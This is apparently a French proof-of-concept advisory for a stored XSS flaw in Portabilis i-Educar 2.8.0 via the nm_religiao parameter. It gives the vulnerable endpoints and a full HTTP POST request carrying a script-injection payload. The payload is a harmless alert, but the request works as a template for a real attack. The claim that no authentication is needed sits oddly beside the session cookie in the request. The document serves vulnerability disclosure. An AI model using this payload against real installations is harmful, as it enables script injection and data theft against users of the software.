
Preuve de concept d'exploitation pour une vulnérabilité de script intersites (XSS) stocké dans Portabilis i-Educar v2.8.0 via le paramètre nm_religiao, permettant l'injection de JavaScript à distance sans authentification.
Description : Portabilis i-Educar v2.8.0 est vulnérable aux scripts intersites (XSS) via le paramètre
nm_religiaodans la requête POST à/intranet/educar_religiao_cad.phpet déclenché dans la requête GET à/intranet/educar_religiao_lst.php?busca=S&nm_religiao=. Cela permet à un attaquant distant non authentifié d'injecter du JavaScript malveillant, qui s'exécutera lorsque les données seront consultées, pouvant entraîner des actions non autorisées ou une fuite de données.
Versions : Découvert dans Portabilis i-Educar 2.8.0.
Le problème se produit dans le paramètre nm_religiao du fichier educar_religiao_cad.php, permettant à une entrée utilisateur non nettoyée d'être stockée puis exécutée comme JavaScript lors du chargement de la page.
Le paramètre nm_religiao dans /intranet/educar_religiao_cad.php ne nettoie pas correctement l'entrée utilisateur, permettant un XSS stocké. Lorsqu'un attaquant injecte du JavaScript, il s'exécute chaque fois que les données sont consultées.
POST /intranet/educar_religiao_cad.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/intranet/educar_religiao_cad.php
Cookie: i_educar_session=1eqkHtEgzh7xrusxYcQ3AkZeRRjRMJlhTtib1n8J
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
tipoacao=Novo&cod_religiao=&nm_religiao=<script>alert("CVE")</script>

